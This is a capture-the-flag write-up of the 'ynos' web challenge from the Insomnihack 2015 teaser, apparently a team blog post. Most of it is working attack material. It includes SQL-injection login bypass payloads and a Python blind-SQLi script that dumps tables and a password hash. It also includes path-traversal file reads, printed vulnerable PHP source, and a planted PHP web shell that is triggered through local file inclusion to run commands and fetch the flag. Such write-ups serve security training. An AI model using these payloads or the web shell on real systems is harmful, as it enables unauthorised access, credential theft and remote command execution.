First, happy new year to all. This time we are going to see how to solve ynos task from the last weekend, Insomnihack 2015 teaser. Good work to the people behind the scenes :).
This web task presents several vulnerabilites that we must exploit to get the flag. A login form with some JSON mechanism to send and retrieve data is present in all interaction with the server, so the first thing we did was analyze this mechanism. The website show us a list of films, directors and artists
Notice that posting ‘admin’ as user and password (totally guessable) we had success and user exists. See also what is inside this JSON , «c» (probably the class) with name user, «a» (action or method) with a pair of values, «name» and «params», splitted with ‘|’ separator representing username and password.
{"c":{"name":"user"},"a":{"name":"login","params":"admin|admin"}}
Let’s see what files are reported with dirbuster:
File found: /jquery-2.1.1.min.js - 200 File found: /bootstrap.min.js - 200 File found: /home.php - 200 File found: /login.php - 200 File found: /logout.php - 200 File found: /classes.php - 200 File found: /films.php - 200 File found: /artists.php - 200 File found: /functions.php - 200 File found: /directors.php - 200
One we are logged, we see how works the request & response. Sending:
{"c":{"name":"page"},"a":{"name":"render","params":{"name":"artists"}}}
We get list of artists:
<fieldset> <!-- Form Name --> <legend>Artists</legend> <ul class="list-group"> <li class="list-group-item">Jonny Lee Miller</li> <li class="list-group-item">Angelina Jolie</li> <li class="list-group-item">Jesse Bradford</li> <li class="list-group-item">Matthew Lillard</li> <li class="list-group-item">Laurence Mason</li> <li class="list-group-item">Fisher Stevens</li> </ul> </fieldset>
We tried Local File Inclusion and works … but seems only a few files was allowed to be included.
{"c":{"name":"page"},"a":{"name":"render","params":{"name":"...//..//.../../directors"}}}
So we return to the initial point, login, to test some SQLi against this parameters splitted by ‘|’.
{"c":{"name":"user"},"a":{"name":"login","params":"admin'-- -|1'+or+1=1+#"}}
Yes! We have a point to start on this challenge.
Next step is programming a python script to exploit a blind sqli on this login form, see how is passed the JSON:
{"c":{"name":"user"},"a":{"name":"login","params":"' or substr(hex((select group_concat(table_name) from information_schema.tables where table_schema<>'information_schema')),1,1)='0' -- -|1"}}
… and the code to automate it.
#!/usr/bin/python from requests import post from sys import argv def get_digit(query, pos): for i in '0123456789abcdef': p = "' or substr(hex(%s),%d,1)='%c' -- -" % (query, pos, i) r = post("http://ynos.teaser.insomnihack.ch/INSO.RPC", data='{"c":{"name":"user"},"a":{"name":"login","params":"%s|1"}}' % (p)) if 'Success' in r.text: return i def get(query): res = '' for i in xrange(1, 100, 2): c0 = get_digit(query, i) c1 = get_digit(query, i+1) if c0 == None or c1 == None: return res c = chr(int(c0+c1, 16)) res += c print res query = "(select group_concat(table_name) from information_schema.tables where table_schema<>'information_schema')" if len(argv) > 1: query = argv[-1] print get(query)
‘query’ is that we want to search , table name:
$ ./ynos.py u us use user users users
The rest is modify the script or pass a query as argument to complete the dump:
$ ./ynos.py "(select group_concat(column_name) from information_schema.columns where table_name='users')" users id,name,password $ ./ynos.py "(select group_concat(id,':',name,':',password) from users)" 1:admin:d033e22ae348aeb5660fc2140aec35850c4da997
At this point we can extract file contents with «(select load_file(‘/var/www/html/funcions.php’))» and so on …
Let’s see the code of all interesting phps, included INSO.RPC:
functions.php
<?php function parseParams($params) { if(is_array($params)) { return $params; } else { return explode("|",$params); } } function myDeserialize($object) { global $session; $class = $object["c"]; $action = $object["a"]; $cname = $class["name"]; $cparams = Array(); if(isset($class["params"])) { $cparams = $class["params"]; } $my_obj = new $cname($cparams); $aname = $action["name"]; $aparams = Array(); if(isset($action["params"])) { $aparams = parseParams($action["params"]); } call_user_func_array(array($my_obj,$aname),$aparams); } ?>
classes.php
<?php class session { private $id = ""; private $session = ""; function __construct($id) { $this->id = $id; if(file_exists("/tmp/".$this->id)) { $this->session = json_decode(file_get_contents("/tmp/".$this->id), true); } else { $this->session = Array(); } } function get($var) { return $this->session[$var]; } function set($var,$value) { $this->session[$var] = $value; if(isset($this->id) && $this->id !== "") { file_put_contents("/tmp/".$this->id,json_encode($this->session)); } } function debug() { print file_get_contents("/tmp/".$this->id); } function getId() { return $this->id; } } class user { function login($username,$password) { mysql_connect("localhost","inso15","inso15"); mysql_select_db("inso15"); $query = "SELECT id FROM users WHERE name = '$username' and password = '" . sha1($password) . "'"; $result = mysql_query($query); $line = mysql_fetch_array($result,MYSQL_ASSOC); if(isset($line['id']) && $line['id'] !== "") { $GLOBALS['session']->set("userid",$line['id']); $GLOBALS['message'] = "Login Success"; } else { $GLOBALS['session']->set("userid",-1); $GLOBALS['message'] = "Login fail"; } } function logout($user) { $GLOBALS['session']->set("userid",-1); } function register($username,$password) { //TODO } } class page { private $name; private $allowed_pages = array("home","artists","films","directors","logout"); function render($page) { if($GLOBALS['session']->get("userid") > 0) { foreach($this->allowed_pages as $allowed_page) { if(preg_match("/$allowed_page/",$page)) { //print "This is page " . $page; include($page . ".php"); } } } else { include("login.php"); } } } ?>
INSO.RPC
<?php include("classes.php"); include("functions.php"); global $session; global $message; if(isset($_COOKIE['session'])) { $session = new session($_COOKIE['session']); } else { $id = substr(str_shuffle(sha1(microtime())), 0, 32); $session = new session($id); setcookie("session",$id); } $input = json_decode(file_get_contents("php://input"),true); if(isset($input)) { myDeserialize($input); } print $message; ?>
If you see closer, classes.php has session and user classes. Notice that file read could be done by tricking the JSON request with method debug in combination:
{"c":{"name":"session", "params":"../../../var/www/html/INSO.RPC"},"a":{"name":"debug","params":"none"}}
But the target is list the files and get the flag. Need to exploit call_user_func. There are also ‘get’ and ‘set’ methods so the idea is put our shell here:
{"c":{"name":"session", "params":"home.php"},"a":{"name":"set","params":"x|<?=`$_GET[1]`?>"}}
And access now to list the files with ‘INSO.RPC?1=ls+-lasth’ parameter:
{"c":{"name":"page"},"a":{"name":"render","params":{"name":"../../../../tmp/home"}}}
Output:
{"x":"total 296K 4.0K drwxr-xr-x 2 ubuntu root 4.0K Jan 11 05:38 . 4.0K -rw-rw-r-- 1 ubuntu ubuntu 6 Jan 9 16:19 ___THE_FLAG_IS_IN_HERE___.save 4.0K -rw-rw-r-- 1 ubuntu ubuntu 41 Jan 9 16:02 ___THE_FLAG_IS_IN_HERE___ 4.0K -rw-rw-r-- 1 ubuntu ubuntu 596 Jan 8 16:25 functions.php 4.0K -rw-rw-r-- 1 ubuntu ubuntu 40 Dec 30 13:39 .htaccess 4.0K -rw-rw-r-- 1 ubuntu ubuntu 426 Dec 30 13:39 INSO.RPC 4.0K -rw-rw-r-- 1 ubuntu ubuntu 403 Dec 30 13:39 artists.php 112K -rw-r--r-- 1 ubuntu ubuntu 111K Dec 30 13:39 bootstrap.min.css 36K -rw-r--r-- 1 ubuntu ubuntu 35K Dec 30 13:39 bootstrap.min.js 4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.8K Dec 30 13:39 classes.php 4.0K -rw-rw-r-- 1 ubuntu ubuntu 903 Dec 30 13:39 directors.php 4.0K -rw-rw-r-- 1 ubuntu ubuntu 951 Dec 30 13:39 films.php 4.0K -rw-rw-r-- 1 ubuntu ubuntu 281 Dec 30 13:39 home.php 4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.8K Dec 30 13:39 index.php 84K -rw-r--r-- 1 ubuntu ubuntu 83K Dec 30 13:39 jquery-2.1.1.min.js 4.0K -rw-rw-r-- 1 ubuntu ubuntu 1.6K Dec 30 13:39 login.php 4.0K -rw-rw-r-- 1 ubuntu ubuntu 779 Dec 30 13:39 logout.php 4.0K -rw-rw-r-- 1 ubuntu ubuntu 122 Dec 30 13:39 preload.php 4.0K drwxr-xr-x 3 root root 4.0K Dec 30 13:30 .. "}
Finally our flag: http://ynos.teaser.insomnihack.ch/___THE_FLAG_IS_IN_HERE___
INS{Gotta_L0ve_l33t_serialization_suff!}
Thanks to all dcua team members!